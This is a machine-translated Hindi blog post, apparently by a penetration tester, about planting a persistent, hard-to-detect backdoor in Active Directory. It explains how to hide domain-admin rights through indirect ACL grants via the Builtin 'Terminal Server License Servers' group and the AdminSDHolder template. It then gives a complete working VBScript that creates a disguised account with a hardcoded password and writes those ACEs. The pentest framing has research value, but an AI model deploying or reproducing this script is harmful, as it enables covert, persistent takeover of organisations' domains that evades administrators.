सक्रिय निर्देशिका में पिछले दरवाजे

नियत समय में, एक साल से भी कम समय में, इसी तरह के शीर्षक के साथ प्रकाशन एक हैबर [ 1 ] पर चमकता था। इसमें, लेखक ने "छिपा हुआ" खाते की पहुंच को रोकने के लिए, अधिकारों के आक्रामक परिसीमन के साथ, एक "छिपे हुए" खाते की मेजबानी के लिए एक कार्यक्रम के रूप में प्रोग्राम डेटा सर्विस रिपॉजिटरी का उपयोग करके एक डोमेन प्रशासक के विशेषाधिकारों को छिपाने के लिए एक विधि का प्रस्ताव रखा। हालांकि, लेखक के आश्वासन के बावजूद, "छिपा हुआ" खाता और उसके बाद के विलोपन की खोज कुछ ही क्लिक में की जा सकती है।

1. खाते का पता लगाना और बिना हटाए हटाना (लेखक [ 1 ] के उल्टे आश्वासनों के बावजूद)।



2. सक्रिय निर्देशिका से निशान हटाना।









यानी प्रस्तावित दृष्टिकोण व्यवहार में काम नहीं करेगा। लेकिन शायद इस विधि के लिए एक अधिक उपयुक्त विकल्प है (डोमेन नियंत्रकों पर rootkits के उपयोग के बिना :))?

इस तथ्य के कारण कि मेरी गतिविधि सीधे प्रवेश परीक्षण आयोजित करने से संबंधित है, यह प्रश्न कुछ समय से मेरे सिर में है। और वह उस बिंदु की ओर मुड़ गया, जहां उद्यम में व्यवस्थापिका के शेष रहने और सूचना प्रणाली पर प्रभाव को कम करने की शर्त को पूरा करने के लिए लंबे समय तक किसी एक काम पर जाने की आवश्यकता नहीं थी।

जैसा कि जासूसी उपन्यासों के एक प्रसिद्ध लेखक ने कहा:
- शीट को छिपाने के लिए सबसे अच्छी जगह कहां है?
- पतझड़ के जंगल में!
"एक पत्थर को छिपाने के लिए सबसे अच्छी जगह कहाँ है?"
- समुद्र के किनारे!
"और लाश को छिपाने के लिए सबसे अच्छी जगह कहाँ है?"
- युद्ध के मैदान पर।

डोमेन निर्देशिका के साथ एक समानांतर ड्राइंग, आप निम्नलिखित रणनीति का पालन कर सकते हैं:

- पिछले दरवाजे पहचानकर्ता को छिपाना बेहतर नहीं है, लेकिन इसे अन्य उपयोगकर्ता पहचानकर्ताओं के बड़े संचय के साथ एक ही कंटेनर में रखना है। उसी समय, निर्मित पहचानकर्ता यथासंभव सामान्य कॉर्पोरेट खाते के समान होना चाहिए।

- पिछले दरवाजे पहचानकर्ता सीधे डोमेन में विस्तारित विशेषाधिकारों वाले समूहों का सदस्य नहीं होना चाहिए। ऐसा करने के लिए, एक्सेस कंट्रोल सुविधाओं का उपयोग करना बेहतर है, जैसा कि नीचे दी गई तस्वीर में दिखाया गया है।



- डोमेन में विस्तारित विशेषाधिकारों वाले समूहों के लिए पहुँच नियंत्रण सूचियों में भी उपयोगकर्ता के पिछले पहचानकर्ता को "चमक" करना पूरी तरह से बुद्धिमान नहीं है। अधिक उचित दृष्टिकोण सुरक्षा समूहों के लिए विशेषाधिकार का विस्तार करना है जो पहले से ही डोमेन में विस्तारित विशेषाधिकारों वाले समूहों के लिए एक्सेस कंट्रोल सूचियों में एसीएल के सदस्य हैं। इन उद्देश्यों के लिए, "अंतर्निहित \ टर्मिनल सर्वर लाइसेंस सर्वर" समूह अच्छी तरह से अनुकूल है:



इसलिए, प्रभावी रूप से एक बैकडोर बनाने के लिए, ऊपर वर्णित परिदृश्य के अनुसार, आपको आवश्यकता है:

1. एक असंगत उपयोगकर्ता प्राप्त करें;
2. इस उपयोगकर्ता को "अंतर्निहित \ टर्मिनल सर्वर लाइसेंस सर्वर" समूह के सदस्यों की सूची को संशोधित करने की अनुमति दें;
3. "अंतर्निहित \ टर्मिनल सर्वर लाइसेंस सर्वर" समूह के सदस्यों की सूची को संशोधित करने की अनुमति दें, उदाहरण के लिए, "डोमेन व्यवस्थापक"।

यहां यह एक छोटी सी बारीकियों को ध्यान देने योग्य है। डोमेन एडमिन ग्रुप के लिए एक्सेस कंट्रोल लिस्ट बदलना संभव नहीं है। तथ्य यह है कि सक्रिय निर्देशिका वास्तुकला सबसे संवेदनशील वस्तुओं की पहुंच नियंत्रण सूचियों के लिए सुरक्षा प्रदान करता है (adminSDHolder, [ 2 ]), जिसमें शामिल हैं:

- एंटरप्राइज एडमिन्स
- स्कीमा प्रवेश
- डोमेन प्रवेश
- प्रशासक
- डोमेन नियंत्रक
- सर्टिफिकेट पब्लिशर्स
- बैकअप ऑपरेटर
- रेप्लिकेटर सर्वर ऑपरेटर्स
- खाता संचालक
- प्रिंट ऑपरेटर्स

हर घंटे ओवरराइट नहीं किए गए उपरोक्त समूहों की पहुँच नियंत्रण सूची में परिवर्तन करने के लिए, आपको या तो ऑब्जेक्ट पर टेम्पलेट एक्सेस कंट्रोल सूची को बदलना होगा "CN = AdminSDHolder, CN = System", या इच्छित वस्तु के लिए शून्य करने के लिए "AdminCount" विशेषता सेट करें [ 3 ]। खाका अभिगम नियंत्रण सूची को फिर से लिखने के लिए मुझे अधिक आशाजनक लगता है सक्रिय निर्देशिका के इस "सुरक्षात्मक" तंत्र से हर व्यवस्थापक परिचित नहीं है।

सक्रिय निर्देशिका में बुकमार्क को स्वचालित करने के लिए, नीचे दी गई स्क्रिप्ट का उपयोग किया जा सकता है।

On Error Resume Next

'
username = "PT"
password = "P@ssw0rd"

' ,
userDN = "cn=Users"

' , ACLs Domain Admins
joinGroupDN = "cn=Terminal Server License Servers, cn=Builtin"
joinGroup = "BUILTIN\Terminal Server License Servers"

'
adminsGroup = "CN=Domain Admins,CN=Users"

Dim objRoot, objContainer, objUser, objGroup, objSysInfo, strUserDN
Set objSysInfo = CreateObject("ADSystemInfo")
strUserDN = objSysInfo.userName
Set objUser = GetObject("LDAP://" & strUserDN)

Set objRoot = GetObject("LDAP://rootDSE")
Set objContainer = GetObject("LDAP://" & userDN & "," & objRoot.Get("defaultNamingContext"))

'
Set objUserCreate = objContainer.Create("User", "cn=" & username)
objUserCreate.Put "sAMAccountName", username
objUserCreate.SetInfo
On Error Resume Next

' , ;)
objUserCreate.SetPassword password
objUserCreate.Put "userAccountControl", 66048
objUserCreate.SetInfo
On Error Resume Next

' Terminal Server License Servers
GroupAddAce joinGroupDN,username

' Terminal Server License Servers Domain Admins
GroupAddAce adminsGroup,joinGroup

' "" ACL
GroupAddAce "CN=AdminSDHolder,CN=System",joinGroup

Function GroupAddAce(toGroup,forGroup)
Dim objSdUtil, objSD, objDACL, objAce
Set objGroup = GetObject ("LDAP://" & toGroup & "," & objRoot.Get("defaultNamingContext"))

Set objSdUtil = GetObject(objGroup.ADsPath)
Set objSD = objSdUtil.Get("ntSecurityDescriptor")
Set objDACL = objSD.DiscretionaryACL
Set objAce = CreateObject("AccessControlEntry")

objAce.Trustee = forGroup
objAce.AceFlags = 0
objAce.AceType = 5
objAce.AccessMask = 32
objAce.Flags = 1
objAce.ObjectType = "{BF9679C0-0DE6-11D0-A285-00AA003049E2}"
objDacl.AddAce objAce

objSD.DiscretionaryAcl = objDacl
objSDUtil.Put "ntSecurityDescriptor", Array(objSD)
objSDUtil.SetInfo

End Function


यह जोड़ने योग्य है कि इसकी सादगी के बावजूद, निरंतर स्वचालित नियंत्रण के साधनों के बिना इस तरह के बुकमार्क को ढूंढना काफी मुश्किल है। और विचार को विकसित करते हुए, आप अधिक जटिल बुकमार्क के बारे में सोच सकते हैं, उदाहरण के लिए, उपयोगकर्ता को डोमेन नियंत्रकों आदि के लिए OU के लिए समूह नीतियों का प्रबंधन करने की अनुमति देता है, आदि।